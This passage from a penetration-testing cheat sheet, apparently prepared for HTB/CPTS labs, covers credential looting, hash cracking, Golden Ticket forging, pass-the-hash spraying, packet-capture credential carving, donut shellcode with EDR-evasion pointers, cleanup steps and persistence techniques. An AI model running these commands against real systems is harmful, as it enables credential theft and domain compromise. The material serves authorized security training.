everything-extractor 845 846 > [!tools] Stage this 847 > [LaZagne](https://github.com/AlessandroZ/LaZagne) — local credential looting: browsers, mail, WiFi, Git, VPN clients, chats, sysadmin tools. 848 > 849 > [LaZagne.exe](/downloads/pentest-workflow/LaZagne.exe) ([SHA-256](/downloads/pentest-workflow/LaZagne.exe.sha256) · [GPG signature](/downloads/pentest-workflow/LaZagne.exe.sha256.asc)) 850 851 ```batch 852 LaZagne.exe all :: everything it can find, prints to console 853 LaZagne.exe all -oN -output C:\Temp :: write plain output to a dir (exfil + delete after) 854 LaZagne.exe browsers :: just browser creds 855 ``` 856 857 > [!warning] Watch out 858 > Chrome ≥ v127 (mid-2024+) uses **App-Bound Encryption** — old "grab Login Data + Local State" tricks fail for the newest builds; DPAPI + running-as-the-user approaches still matter. LaZagne is signatured everywhere; expect to run it from memory or accept the detection in a lab. Check browser profile paths: `C:\Users\*\AppData\Local\Google\Chrome\User Data\`, `...\Microsoft\Edge\User Data\`, `...\Mozilla\Firefox\Profiles\`. ([T1555.003](https://attack.mitre.org/techniques/T1555/003/)) 859 860 #### KeePass — the password manager jackpot 861 862 Admins store the good stuff in KeePass. Find the `.kdbx`, and hunt for a keyfile or recover the master password. 863 864 ```bash 865 # On the box (or via nxc spider): 866 nxc smb $IP -u "$U" -p "$P" -M spider_plus # map downloadable files 867 # search shares/host for *.kdbx, *.keyx, KeePass.config.xml (can pin the database path) 868 # Offline — convert to a crackable hash and feed Stage 08: 869 keepass2john Database.kdbx > keepass.hash 870 hashcat -m 13400 keepass.hash rockyou.txt 871 ``` 872 873 > [!tip] CPTS 874 > [keepass2john](https://github.com/openwall/john) (john jumbo) handles kdbx; hashcat mode **13400**. The crack is slow by design (AES-KDF rounds) — build a targeted wordlist from the org's naming/culture (CeWL against their intranet + rules) rather than raw rockyou. Cross-link: [11 - Stage 08 - Password Attacks and Credential Hunting](/sheets/pentest-workflow/password-attacks-and-credential-hunting). 875 876 #### Files & shares — Snaffler sweeps the domain for me 877 878 > [!tools] Stage this 879 > [Snaffler](https://github.com/SnaffCon/Snaffler) — enumerate AD computers, find readable shares, grep file names/contents for credential patterns. 880 > 881 > [Snaffler.exe](/downloads/pentest-workflow/Snaffler.exe) ([SHA-256](/downloads/pentest-workflow/Snaffler.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Snaffler.exe.sha256.asc)) 882 883 ```text 884 Snaffler.exe -s -o snaffler.log :: domain-wide share+content hunt 885 Snaffler.exe -s -d $DOMAIN -c $DC -o loot.txt :: explicit domain/DC 886 Snaffler.exe -s -i C:\Shares -o local.log :: single path instead of domain enum 887 ``` 888 ```bash 889 # Linux-side equivalents for quick manual hunts: 890 nxc smb $IP/24 -u "$U" -p "$P" --shares 891 smbclient "//$IP/Department Shares" -U "$DOMAIN/$U%$P" -c 'recurse;ls' 892 ``` 893 894 > [!tip] What Snaffler finds that pays 895 > `web.config` (IIS app-pool DB creds), `unattend.xml`/`sysprep.inf` (local admin), `*.ps1` deploy scripts with embedded service accounts, `.rdp` files, `id_rsa`, `appsettings.json` connection strings, `KeepNotes.kdbx`, VPN profiles. It is **loud** (opens thousands of files over SMB — 4663 storm if audited); scope it with `-i` to likely shares in monitored engagements. [PowerHuntShares](https://github.com/NetSPI/PowerHuntShares) is the PowerShell alternative. 896 897 #### Quick-hit loot checklist (per pwned Windows host) 898 899 ```powershell 900 # Registry — saved creds, autologon, SNMP, VNC/putty: 901 reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" | findstr /i "pass" 902 reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s 903 reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s 904 reg save HKLM\SAM C:\Temp\SAM & reg save HKLM\SYSTEM C:\Temp\SYSTEM # offline secretsdump later 905 # cmdkey — Windows Credential Manager entries (usable with runas /savecred targets): 906 cmdkey /list 907 # WiFi profiles (ssid + psk in cleartext): 908 netsh wlan show profile 909 netsh wlan show profile name="CorpWiFi" key=clear 910 # PowerShell history — admins paste creds here CONSTANTLY: 911 type C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt 912 # IIS web.config (app pool / connection strings): 913 type C:\inetpub\wwwroot\web.config 914 # Recycle bin (deleted ≠ gone): 915 dir /s /a C:\$Recycle.Bin 916 # Email — local .pst/.ost stores (Outlook cached mail = intel + creds): 917 dir /s C:\Users\*\AppData\Local\Microsoft\Outlook\*.ost C:\Users\*\Documents\*Outlook*.pst 918 # Certificates & keys (cross-link Stage 07 for ADCS-side abuse): 919 dir /s C:\Users\*\*.pfx C:\Users\*\*.p12 C:\*.pem C:\*.key 2>nul 920 # Cloud CLI caches: 921 dir %USERPROFILE%\.aws %USERPROFILE%\.azure %USERPROFILE%\.kube 2>nul 922 ``` 923 924 > [!tip] Certificates as loot 925 > Exported `.pfx`/`.p12` user or machine certs = PKINIT auth without any password (cert → TGT via [Certipy](https://github.com/ly4k/Certipy) / [Rubeus](https://github.com/GhostPack/Rubeus) `asktgt /pkcs12:`). Full certificate-theft playbook: [Stage 07 — ADCS & Certificate Abuse](/sheets/pentest-workflow/adcs-and-certificate-abuse). ([T1552.004](https://attack.mitre.org/techniques/T1552/004/)) 926 927 > [!note] SessionGopher 928 > [SessionGopher](https://github.com/Arvanaghi/SessionGopher) automates the PuTTY/WinSCP/FileZilla/RDP-saved-cred portion of this checklist from PowerShell — good for a thorough single-host sweep when Snaffler is share-only. 929 930 #### Post-loot — what the hashes buy 931 932 ```bash 933 # Golden Ticket from the krbtgt hash → permanent DA 934 ticketer.py -nthash <KRBTGT_NT> -domain-sid <S-1-5-21-...> -domain "$DOMAIN" Administrator 935 export KRB5CCNAME=Administrator.ccache && psexec.py -k -no-pass "$DOMAIN/Administrator@$DC" 936 # Crack the dump 937 hashcat -m 1000 domain_hashes.ntds rockyou.txt # NT hashes (see Hashcat-Cheatsheet) 938 # Spray extracted hashes for local-admin reuse 939 nxc smb $IP/24 -u Administrator -H <NThash> --local-auth --continue-on-success 940 ``` 941 942 #### 🩸 Doctrine — re-run BloodHound as each new identity 943 944 Every new account/hash I land **invalidates my current attack-path map**. The disciplined loop: 945 946 1. Loot host → new creds. 947 2. Re-collect with [SharpHound](https://github.com/SpecterOps/SharpHound) or [bloodhound-ce-python](https://github.com/dirkjanm/BloodHound.py) **as the new identity** (it may see sessions/shares/ACLs the previous identity couldn't). 948 3. Re-query [BloodHound CE](https://github.com/SpecterOps/BloodHound) shortest paths **from the new principal**. 949 4. Spray only what the graph says matters. 950 951 ```bash 952 nxc ldap $DC -u "$NEW_U" -p "$NEW_P" --bloodhound -c All --dns-server $DC 953 # or on-host: SharpHound.exe -c All,LoggedOn --zipfilename bh_newident 954 ``` 955 956 > [!tip] Why it matters 957 > Sessions and local-admin edges are **per-viewpoint** in practice: a box that shows no path from user A often shows a 2-hop path from user B (an RDP session, a readable share with creds, a new ACL). Collection details: [Stage 04 — AD Enumeration](/sheets/pentest-workflow/active-directory-enumeration). 958 959 --- 960 961 ### 📡 Network Credential Harvesting (sniffing and PCAP) 962 963 > [!warning] Scope and data handling 964 > Packet captures can contain credentials, session material, personal data, and traffic from systems outside the target list. Capture only on an explicitly authorized interface and time window. Encrypt the evidence at rest, record its hash and provenance, and delete it according to the engagement’s retention rules. 965 966 A useful capture point is a host that legitimately sees more than its own traffic: a router, multi-homed server, proxy, span/TAP destination, or a system carrying legacy cleartext protocols. A normal switched endpoint usually sees only its own unicast traffic plus broadcasts and multicasts. 967 968 #### 1. Select the correct interface 969 970 Do not default to `any` until you understand the route. It can combine interfaces, duplicate traffic on some systems, and omit interface-specific link-layer detail. 971 972 ```bash 973 ip -br address 974 ip route 975 ip route get "$IP" 976 977 tcpdump -D 978 tshark -D 979 dumpcap -D 980 ``` 981 982 > [!tip] Route-driven choice 983 > If `ip route get "$IP"` reports `dev ens192`, start with `ens192`. Generate one known connection, then confirm that its packets appear before beginning a long capture. 984 985 #### 2. Reproduce the ILFREIGHT capture safely 986 987 The original scenario works as written. The output is still a PCAP even if the filename has no extension. 988 989 ```bash 990 sudo tcpdump -i ens192 -s 65535 -w ilfreight_pcap 991 ``` 992 993 A more analysis-friendly version disables name lookups, flushes packets to disk promptly, increases the capture buffer, and excludes the SSH management session: 994 995 ```bash 996 sudo tcpdump \ 997 -i ens192 \ 998 -nn \ 999 -s 65535 \ 1000 -U \ 1001 -B 4096 \ 1002 -w ilfreight_pcap.pcap \ 1003 'not port 22' 1004 ``` 1005 1006 | Option | Purpose | 1007 |---|---| 1008 | `-i ens192` | Capture on the interface that carries the target traffic. | 1009 | `-nn` | Keep IP addresses and ports numeric; avoids DNS/service-name noise. | 1010 | `-s 65535` | Retain up to 65,535 bytes per packet—enough for normal IPv4/Ethernet traffic. | 1011 | `-U` | Write each received packet to the save file promptly. | 1012 | `-B 4096` | Request a larger kernel capture buffer to reduce drops on a busy link. | 1013 | `-w file.pcap` | Save raw packets for offline analysis instead of printing decoded lines. | 1014 1015 > [!note] Snaplen 1016 > On current tcpdump builds, the default snaplen is already larger than 65,535 bytes, and `-s 0` selects that default rather than meaning literally unlimited. Keeping `-s 65535` makes this lab scenario explicit and portable. Do not use a small header-only snaplen when you need application data or transferred objects. 1017 1018 Stop with `Ctrl+C` and read tcpdump’s captured, received-by-filter, and dropped-by-kernel counters. A nonzero drop count means the capture may be incomplete; narrow the filter, enlarge the buffer, or move the collection point. 1019 1020 #### 3. Use capture filters before collecting 1021 1022 `-f` in TShark/Dumpcap and the expression at the end of tcpdump use **BPF capture-filter syntax**. `-Y` uses Wireshark **display-filter syntax** when reading or displaying packets. They are different languages. 1023 1024 **One host or subnet** 1025 1026 ```bash 1027 sudo tcpdump -i ens192 -nn -s 65535 -w ilfreight_host.pcap \ 1028 'host 172.16.5.10 and not port 22' 1029 ``` 1030 1031 ```bash 1032 sudo tcpdump -i ens192 -nn -s 65535 -w ilfreight_net.pcap \ 1033 'net 172.16.5.0/24 and not port 22' 1034 ``` 1035 1036 **Legacy authentication protocols** 1037 1038 ```bash 1039 sudo tcpdump -i ens192 -nn -s 65535 -w ilfreight_legacy.pcap \ 1040 '(tcp port 21 or tcp port 23 or tcp port 80 or tcp port 110 or tcp port 143 or tcp port 389) and not port 22' 1041 ``` 1042 1043 **Common Windows authentication traffic** 1044 1045 ```bash 1046 sudo tcpdump -i ens192 -nn -s 65535 -w ilfreight_windows-auth.pcap \ 1047 '(tcp port 88 or udp port 88 or tcp port 389 or tcp port 445) and not port 22' 1048 ``` 1049 1050 > [!tip] Validate the BPF before a long run 1051 > Replace `-w file.pcap` with `-c 20` to print twenty matching packets, or add `-d` to inspect the compiled BPF without capturing. 1052 1053 #### 4. Bound disk use with a ring buffer 1054 1055 **tcpdump — eight files of roughly 100 MB each** 1056 1057 ```bash 1058 sudo tcpdump \ 1059 -i ens192 \ 1060 -nn \ 1061 -s 65535 \ 1062 -U \ 1063 -C 100 \ 1064 -W 8 \ 1065 -w ilfreight_ring.pcap \ 1066 'not port 22' 1067 ``` 1068 1069 **Dumpcap — eight files of 102,400 kB each** 1070 1071 ```bash 1072 sudo dumpcap \ 1073 -i ens192 \ 1074 -s 65535 \ 1075 -B 64 \ 1076 -f 'not port 22' \ 1077 -b filesize:102400 \ 1078 -b files:8 \ 1079 -w ilfreight_ring.pcapng 1080 ``` 1081 1082 > [!info] Why Dumpcap 1083 > Dumpcap is Wireshark’s dedicated capture helper. When the operating system’s Wireshark group/capability setup permits it, an authorized user can capture without running the full analyzer as root. Its default output is PCAPNG. 1084 1085 #### 5. When tcpdump or root is unavailable 1086 1087 First check what the host already permits; do not grant yourself capture capabilities or bypass file permissions. 1088 1089 ```bash 1090 command -v tcpdump tshark dumpcap 1091 getcap "$(command -v tcpdump)" 2>/dev/null 1092 getcap "$(command -v dumpcap)" 2>/dev/null 1093 id 1094 ``` 1095 1096 If `dumpcap -D` lists interfaces and the selected interface is accessible, use the same bounded capture without `sudo`: 1097 1098 ```bash 1099 dumpcap \ 1100 -i ens192 \ 1101 -s 65535 \ 1102 -f 'host 172.16.5.10 and not port 22' \ 1103 -b filesize:102400 \ 1104 -b files:4 \ 1105 -w ilfreight_user.pcapng 1106 ``` 1107 1108 If packet capture is not permitted, use an approved alternative: 1109 1110 - Analyze an existing readable PCAP/PCAPNG supplied by the operator. 1111 - Ask the system or network owner to collect a tightly filtered capture. 1112 - Use connection metadata (`ss -tpna`, `ip neigh`, firewall logs, proxy logs, application logs, and relevant `journalctl` units). This does **not** recover packet payloads. 1113 - Stream an authorized capture from a remote collection point so the PCAP is written locally: 1114 1115 ```bash 1116 ssh analyst@pivot \ 1117 'sudo tcpdump -i ens192 -nn -U -s 65535 -w - "host 172.16.5.10 and not port 22"' \ 1118 > ilfreight_remote.pcap 1119 ``` 1120 1121 > [!warning] SSH stream 1122 > Keep `-U` so packets are flushed through the pipe. Exclude the management flow or capture a specific host; otherwise the SSH stream can capture itself and grow rapidly. 1123 1124 #### 6. Windows fallback with Pktmon 1125 1126 Pktmon is built into current supported Windows client/server releases. Run these from an elevated **Command Prompt**. Each named filter is an OR branch; conditions inside one filter must all match. Pktmon does not distinguish source from destination for its IP and port filters. 1127 1128 **Clear old filters and add narrow filters** 1129 1130 ```batch 1131 pktmon filter remove 1132 pktmon filter add ILF-LDAP -i 172.16.5.10 -t TCP -p 389 1133 pktmon filter add ILF-SMB -i 172.16.5.10 -t TCP -p 445 1134 pktmon filter list 1135 ``` 1136 1137 **Capture complete packets to a bounded circular ETL** 1138 1139 ```batch 1140 mkdir C:\Temp 2>nul 1141 pktmon start --capture --pkt-size 0 --file-name C:\Temp\ilfreight.etl --file-size 512 --log-mode circular 1142 pktmon status 1143 pktmon counters 1144 ``` 1145 1146 Reproduce the authorized traffic, then stop and convert it: 1147 1148 ```batch 1149 pktmon stop 1150 pktmon etl2pcap C:\Temp\ilfreight.etl --out C:\Temp\ilfreight.pcapng 1151 ``` 1152 1153 > [!note] Pktmon conversion 1154 > `--pkt-size 0` records the full packet; the default is only 128 bytes. ETL preserves Pktmon’s component/drop context, while PCAPNG is easier to analyze in Wireshark. Conversion loses some component and drop distinctions, so retain the original ETL with the evidence. 1155 1156 #### 7. Triage and reduce the capture offline 1157 1158 Start with metadata before searching for credential material. 1159 1160 ```bash 1161 capinfos ilfreight_pcap.pcap 1162 1163 tshark -r ilfreight_pcap.pcap -q -z io,phs 1164 tshark -r ilfreight_pcap.pcap -q -z endpoints,ip 1165 tshark -r ilfreight_pcap.pcap -q -z conv,tcp 1166 ``` 1167 1168 Write only the packets that match a display filter: 1169 1170 ```bash 1171 tshark \ 1172 -r ilfreight_pcap.pcap \ 1173 -Y 'ip.addr == 172.16.5.10 && tcp.port == 389' \ 1174 -w ilfreight_ldap-only.pcapng 1175 ``` 1176 1177 Trim by time, remove exact duplicates, or merge rotated files: 1178 1179 ```bash 1180 editcap \ 1181 -A '2026-08-27 10:00:00' \ 1182 -B '2026-08-27 10:15:00' \ 1183 ilfreight_pcap.pcap \ 1184 ilfreight_15min.pcapng 1185 ``` 1186 1187 ```bash 1188 editcap -d ilfreight_pcap.pcap ilfreight_deduplicated.pcapng 1189 mergecap -w ilfreight_combined.pcapng ilfreight_ring*.pcap 1190 ``` 1191 1192 #### 8. Carve protocol evidence with TShark 1193 1194 Use `-T fields` for compact, tab-separated evidence. Add `-E header=y -E separator=, -E quote=d` when you want CSV. 1195 1196 **FTP and HTTP Basic candidates** 1197 1198 ```bash 1199 tshark -r ilfreight_pcap.pcap \ 1200 -Y 'ftp.request.command == "USER" || ftp.request.command == "PASS"' \ 1201 -T fields \ 1202 -e frame.number -e ip.src -e ip.dst \ 1203 -e ftp.request.command -e ftp.request.arg 1204 ``` 1205 1206 ```bash 1207 tshark -r ilfreight_pcap.pcap \ 1208 -Y 'http.authorization' \ 1209 -T fields \ 1210 -e frame.number -e ip.src -e http.host -e http.authorization 1211 ``` 1212 1213 **LDAP simple bind and cleartext mail protocols** 1214 1215 ```bash 1216 tshark -r ilfreight_pcap.pcap \ 1217 -Y 'ldap.simple' \ 1218 -T fields \ 1219 -e frame.number -e ip.src -e ip.dst -e ldap.simple 1220 ``` 1221 1222 ```bash 1223 tshark -r ilfreight_pcap.pcap \ 1224 -Y 'pop.request.command == "USER" || pop.request.command == "PASS"' \ 1225 -T fields \ 1226 -e frame.number -e ip.src -e pop.request.command -e pop.request.parameter 1227 ``` 1228 1229 ```bash 1230 tshark -r ilfreight_pcap.pcap \ 1231 -Y 'imap.request.username || imap.request.password' \ 1232 -T fields \ 1233 -e frame.number -e imap.request.username -e imap.request.password 1234 ``` 1235 1236 ```bash 1237 tshark -r ilfreight_pcap.pcap \ 1238 -Y 'smtp.auth.username || smtp.auth.password || smtp.auth.username_password' \ 1239 -T fields \ 1240 -e frame.number -e smtp.auth.username \ 1241 -e smtp.auth.password -e smtp.auth.username_password 1242 ``` 1243 1244 **Telnet and SNMP** 1245 1246 ```bash 1247 tshark -r ilfreight_pcap.pcap \ 1248 -Y 'telnet.data' \ 1249 -T fields \ 1250 -e frame.number -e ip.src -e ip.dst -e telnet.data 1251 ``` 1252 1253 ```bash 1254 tshark -r ilfreight_pcap.pcap \ 1255 -Y 'snmp.community' \ 1256 -T fields \ 1257 -e frame.number -e ip.src -e ip.dst -e snmp.community 1258 ``` 1259 1260 **NTLM and Kerberos identity evidence** 1261 1262 ```bash 1263 tshark -r ilfreight_pcap.pcap \ 1264 -Y 'ntlmssp.auth.username' \ 1265 -T fields \ 1266 -e frame.number -e ip.src -e ip.dst \ 1267 -e ntlmssp.auth.domain -e ntlmssp.auth.username \ 1268 -e ntlmssp.auth.ntresponse 1269 ``` 1270 1271 ```bash 1272 tshark -r ilfreight_pcap.pcap \ 1273 -Y 'kerberos.CNameString' \ 1274 -T fields \ 1275 -e frame.number -e ip.src -e ip.dst -e kerberos.CNameString 1276 ``` 1277 1278 > [!note] Encrypted protocols 1279 > HTTPS, LDAPS, SMB encryption, and modern mail protocols protected by TLS do not expose cleartext credentials without legitimate session keys. NTLM and Kerberos fields can identify authentication activity, but a single TShark row is not necessarily a complete crackable hash. 1280 1281 #### 9. Export transferred objects and run credential parsers 1282 1283 List the object exporters supported by the installed TShark build before choosing one. 1284 1285 ```bash 1286 tshark --export-objects help 1287 1288 mkdir -p carved-http carved-smb 1289 tshark -r ilfreight_pcap.pcap --export-objects http,carved-http 1290 tshark -r ilfreight_pcap.pcap --export-objects smb,carved-smb 1291 ``` 1292 1293 Use dedicated parsers as a second pass, not as a substitute for validating packet numbers and protocol context. 1294 1295 ```bash 1296 pcredz -f ilfreight_pcap.pcap 1297 net-creds.py -p ilfreight_pcap.pcap 1298 ``` 1299 1300 > [!warning] Treat parser output as unverified 1301 > Duplicate sessions, retransmissions, malformed traffic, and dissector assumptions can produce incomplete or misleading results. Tie every reported secret or challenge-response artifact back to its source packet and authorized target before testing it. 1302 1303 **Command references:** [tcpdump manual](https://github.com/the-tcpdump-group/tcpdump/blob/master/tcpdump.1.in) · [Dumpcap manual](https://www.wireshark.org/docs/man-pages/dumpcap.html) · [TShark manual](https://www.wireshark.org/docs/man-pages/tshark.html) · [Pktmon start](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pktmon-start) · [Pktmon filter syntax](https://learn.microsoft.com/en-us/windows-server/networking/technologies/pktmon/pktmon-syntax) · [Pktmon ETL-to-PCAPNG](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pktmon-etl2pcap) 1304 1305 --- 1306 1307 ### 🍩 Custom tooling — donut (PE → shellcode) 1308 1309 When lateral movement needs an in-memory payload (e.g. injecting my own PE into a remote process instead of dropping an EXE that AV will eat), [donut](https://github.com/TheWover/donut) converts EXE/DLL/.NET assemblies into position-independent shellcode. 1310 1311 > [!tools] Stage this 1312 > donut v1.1 (Windows + Linux builds in the zip): 1313 > 1314 > [donut_v1.1.zip](/downloads/pentest-workflow/donut_v1.1.zip) ([SHA-256](/downloads/pentest-workflow/donut_v1.1.zip.sha256) · [GPG signature](/downloads/pentest-workflow/donut_v1.1.zip.sha256.asc)) 1315 1316 ```bash 1317 # One-liner use case: turn Rubeus.exe into injectable shellcode 1318 donut -a 3 -f Rubeus.exe -o rubeus.bin # -a 3 = amd64+x86, default format .bin 1319 # Then inject rubeus.bin via my C2's shellcode-injection primitive — no EXE ever touches disk 1320 ``` 1321 1322 > [!warning] Watch out 1323 > Donut output is **not** invisible — it has known signatures and is flagged by modern EDR; combine with a loader/encryptor ([ScareCrow](https://github.com/optiv/ScareCrow), [Freeze](https://github.com/Tylous/Freeze)) in monitored labs. In HTB/CPTS labs it's usually fine as-is. Match `-a` to the target arch, and keep the payload .NET version-compatible with the target (`-r` / runtime notes in the repo). 1324 1325 --- 1326 1327 ### 🧹 OPSEC & Cleanup — leave no (unnecessary) trace 1328 1329 Lateral movement is the noisiest stage. Every method leaves a different fingerprint — log what I did per host as I go, then reverse it. 1330 1331 #### Per-method artifact & detection map 1332 1333 | Method | Key artifacts left on target | Primary event IDs / telemetry | OPSEC rating | 1334 | :-- | :-- | :-- | :-- | 1335 | psexec.py / Sysinternals PsExec | EXE in ADMIN$, installed service | **7045** service install, 4697, 4624 T3, 4672 | 🔴 Loud | 1336 | smbexec.py | Temp `.bat`/output in ADMIN$, service per command | 7045/4697 (repeated), 4624 T3 | 🟠 Medium-loud | 1337 | wmiexec.py / SharpWMI | None persistent; `wmiprvse.exe` children | 4688 (parent=wmiprvse), 4624 T3 | 🟢 Quietest exec | 1338 | atexec.py | Scheduled task (created+deleted), output file in ADMIN$ | 4698/4702 (if audited), 4688, 4624 T3 | 🟡 Medium | 1339 | dcomexec.py / mmcexec | None; COM child of mmc/explorer | 4688, 4624 T3 | 🟢 Quiet-ish | 1340 | evil-winrm / PSRemoting | `wsmprovhost.exe` runspace, PS history if interactive | 4624 T3, 4688, **4103/4104** script-block logs | 🟡 Medium | 1341 | RDP (xfreerdp) | Interactive session, session shadowing if hijack | 4624 **T10**, 4778/4779 (reconnect), TermService 21/23/25 | 🔴 Very visible to a live user | 1342 | sekurlsa::pth + native tool | None new; NewCredentials logon | 4624 **T9**, 4672 | 🟡 Medium | 1343 | DCSync | None on DC (pure RPC) | **4662** (replication from non-DC) | 🟢 Quiet (if targeted) | 1344 | NTDS via VSS | Shadow copy (deleted), copies in C:\Temp | 8222 (VSS), 4688 | 🟠 Medium-loud | 1345 | Snaffler / share sweeps | None (read-only) | 4663 mass file reads (if SACLs), 5140/5145 share access | 🟠 Loud at scale | 1346 | ligolo-ng / chisel agent | Agent binary on disk, TLS session | Netflow: long-lived TLS to odd port; EDR binary signatures | 🟡 Medium | 1347 | netsh portproxy | **Persistent** portproxy rule | Rule visible in `show v4tov4`; iphlpsvc dependency | 🟡 Quiet but persistent | 1348 | dnscat2 | Client script/binary | DNS log anomaly (TXT volume to one domain) | 🟠 Loud in DNS analytics | 1349 1350 #### Cleanup runbook (per host, before I move on) 1351 1352 ```powershell 1353 # 1. Remove services I created (psexec-style names are random — I logged them): 1354 sc.exe stop <svcname>; sc.exe delete <svcname> 1355 # 2. Remove scheduled tasks (atexec / my own): 1356 schtasks /delete /tn "<taskname>" /f 1357 # 3. Delete dropped files: tools, output files, dumps, webshells, tunnel webshells: 1358 del C:\Temp\m.exe C:\Temp\ntds.dit C:\Temp\SYSTEM C:\Windows\Temp\agent.exe 1359 # 4. Revert config changes I made (Restricted Admin for RDP PtH!): 1360 reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 1 /f 1361 # 5. Remove netsh portproxy rules (persistent across reboots!): 1362 netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=<addr> 1363 # 6. Remove ligolo listeners: listener_del <id> (in the proxy CLI) 1364 # 7. Purge my tickets/creds from sessions I spawned: 1365 klist purge # on hosts where I ran Rubeus ptt 1366 # 8. Delete shadow copies I created (VSS leftovers are a beacon): 1367 vssadmin delete shadows /shadow={id} /quiet 1368 ``` 1369 1370 > [!warning] Hard rules 1371 > - **Timestomping: don't.** Modern EDR (USN journal, `$LogFile`, ShimCache, Prefetch, Amcache) catches timestamp manipulation trivially, and attempting it is itself a high-severity detection signal. Touch files only in `C:\Windows\Temp`-style locations and delete them. 1372 > - **Log tampering (clearing/wevtutil, deleting Security.evtx) is out of scope** for CPTS/HTB engagements and prohibited on real pentests without explicit written authorization — it destroys evidence, is easily detected (1102 event-log-cleared, gaps in forwarding), and can break the client's audit trail. Stealth comes from *not generating* noise (wmiexec over psexec, targeted DCSync over full dumps), never from deleting logs. 1373 > - **Session hygiene:** close RDP/WinRM/SSH sessions cleanly (log off, don't just close the window — `logoff <id>`), kill tmux/screen/agent processes on pivots, and verify listeners are down (`ss -lntp`, `netstat -ano | findstr LISTEN`). 1374 1375 --- 1376 1377 ### 🪤 Post-DA: persistence pointers 1378 1379 **What to look for** → you have Domain Admin / KRBTGT. Persistence is out of scope for most HTB flags (grab the hash, own the box, done), but for AD lab/CPTS completeness these are the durable footholds — each has a full note: 1380 1381 - **Golden Ticket** — forge TGTs with the KRBTGT hash (see STAGE 5). 🟠 Attack 1382 - **DCShadow** — register a rogue DC and push attribute changes via replication (`lsadump::dcshadow /object:.. /attribute:.. /value:..` → `/push`). Stealth companion to DCSync. 🔵 Attack 1383 - **AdminSDHolder ACL** — self-healing backdoor ACE on all protected objects (covered in STAGE 6). 🟡 Attack 1384 - **Skeleton Key** — patch LSASS on the DC so a master password works for everyone. 🟤 Attack 1385 - **DSRM backdoor** / **SID History injection** / **Malicious GPO**. 🟤 Attack · 🟤 Attack · 🟤 Attack 1386 - **SCCM/MECM** (enterprise labs) — NAA creds, DPAPI client secrets: `SharpSCCM.exe local naa -m wmi`, `SharpDPAPI.exe sccm`. 🔷 Attack 1387 - **DPAPI backup key** (above) — domain-wide offline decryption, survives reboots, no DC re-touch. 1388 - **Diamond/Sapphire ticket** variants — quieter Golden Tickets built from a real TGT ([08 - Stage 05 - Kerberos Attacks](/sheets/pentest-workflow/kerberos-attacks)). 1389 1390 > [!tip] Where next 1391 > Domain owned → cross the trust boundary: [Domain Trusts & Cross-Forest](/sheets/pentest-workflow/domain-trusts-and-cross-forest) (SIDHistory, foreign group membership, `raiseChild.py`, cross-forest Kerberoasting). Then wrap up evidence per [Stage 11 — Documentation & Reporting](/sheets/pentest-workflow/documentation-and-reporting). 1392 1393 --- 1394 1395 > [!navigation] Continue the attack flow 1396 > **Previous:** [Stage 09 — Privilege Escalation](/sheets/pentest-workflow/privilege-escalation) 1397 > 1398 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard) 1399 > 1400 > **Next:** [Domain Trusts and Cross-Forest](/sheets/pentest-workflow/domain-trusts-and-cross-forest)